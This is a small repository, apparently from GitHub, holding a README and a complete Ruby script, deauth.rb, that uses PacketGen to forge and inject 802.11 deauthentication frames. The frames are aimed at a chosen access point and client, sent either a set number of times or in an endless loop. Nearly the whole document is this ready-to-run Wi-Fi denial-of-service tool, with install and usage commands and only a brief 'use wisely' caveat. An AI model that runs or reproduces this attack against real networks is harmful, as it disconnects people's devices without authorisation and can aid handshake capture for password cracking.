├── README.md └── deauth.rb /README.md: -------------------------------------------------------------------------------- 1 | # RubyDeAuth 2 | A small script that injects Deauth Packets using the library "PacketGen" 3 | - Please use a wisely 4 | - Also consider leaving a star :) 5 | 6 | # Installation 7 | ``` 8 | $ git clone https://github.com/SpookySec/RubyDeAuth.git 9 | # apt install libpcap-dev 10 | # gem install colorize packetgen 11 | ``` 12 | 13 | # Usage 14 | ```bash 15 | # ruby deauth.rb [options] 16 | ``` 17 | 18 | ## Social Media 19 | [@spooky_sec](https://instagram.com/spooky_sec) 20 | 21 | [@SpookySec](https://github.com/SpookySec) 22 | 23 | [@sec_spooky](https://twitter.com/sec_spooky) 24 | -------------------------------------------------------------------------------- /deauth.rb: -------------------------------------------------------------------------------- 1 | require "packetgen" 2 | require "optparse" 3 | require "colorize" 4 | 5 | puts "[~] Made by: @spooky_sec".colorize(:blue) 6 | 7 | if Process.euid != 0 8 | puts "[!] Please run this as root".colorize(:yellow) 9 | exit! 10 | end 11 | 12 | options = Hash.new 13 | $err = false 14 | 15 | def missing(msg) 16 | puts "[-] Missing #{msg}.".colorize(:red) 17 | $err = true 18 | end 19 | 20 | opts = OptionParser.new do |opts| 21 | opts.banner = "Usage: #{__FILE__} [options]" 22 | opts.on("-i", "--interface INTERFACE", "The network interface to use") do |v| #value 23 | options[:iface] = v 24 | end 25 | 26 | opts.on("-b", "--bssid MAC", "The MAC address of the AP") do |v| 27 | options[:bssid] = v 28 | end 29 | 30 | opts.on("-t", "--target MAC", "The target MAC address of the client device") do |v| 31 | options[:target] = v 32 | end 33 | 34 | opts.on("-c", "--count COUNT", Integer, "The amount of packets to send (0 for endless)") do |v| 35 | options[:count] = v 36 | end 37 | 38 | opts.on("-h", "--help", "Display this help screen") do 39 | puts opts 40 | exit! 41 | end 42 | 43 | opts.on_tail "\nExamples: " 44 | opts.on_tail "\t#{__FILE__} -b 00:11:22:33:44:55 -c 0 -t 55:44:33:22:11:00 -i wlan0mon" 45 | end 46 | 47 | begin 48 | opts.parse! 49 | rescue OptionParser::InvalidArgument 50 | puts "[!] Count should be a number!".colorize(:yellow) 51 | exit! 52 | rescue OptionParser::MissingArgument 53 | puts "[!] One or more arguemnts are missing a value!".colorize(:yellow) 54 | exit! 55 | end 56 | 57 | missing("BSSID") if options[:bssid].nil? 58 | missing("COUNT") if options[:count].nil? 59 | missing("TARGET") if options[:target].nil? 60 | missing("INTERFACE") if options[:iface].nil? 61 | 62 | if $err 63 | puts "[*] Use -h/--help for the help menu".colorize(:green) 64 | exit! 65 | end 66 | 67 | begin 68 | pkt = PacketGen.gen('RadioTap'). 69 | add('Dot11::Management', mac1: options[:target], mac2: options[:bssid], mac3: options[:bssid]). 70 | add('Dot11::DeAuth', reason: 7) 71 | rescue ArgumentError 72 | puts "[-] Please make sure your arguments are correct.".colorize(:red) 73 | exit! 74 | end 75 | 76 | begin 77 | if options[:count] == 0 78 | while true 79 | pkt.to_w(options[:iface]) 80 | puts "[*] Deauth sent via: #{options[:iface]} to BSSID: #{options[:bssid]} for Client: #{options[:target]}".colorize(:green) 81 | end 82 | else 83 | options[:count].times do 84 | pkt.to_w(options[:iface]) 85 | puts "[*] Deauth sent via: #{options[:iface]} to BSSID: #{options[:bssid]} for Client: #{options[:target]}".colorize(:green) 86 | end 87 | end 88 | rescue PCAPRUB::PCAPRUBError 89 | puts "[-] Please make sure '#{options[:iface]}' is valid.".colorize(:red) 90 | exit! 91 | rescue Interrupt 92 | puts "[!] Shutting down gracefully".colorize(:yellow) 93 | exit 94 | end 95 | --------------------------------------------------------------------------------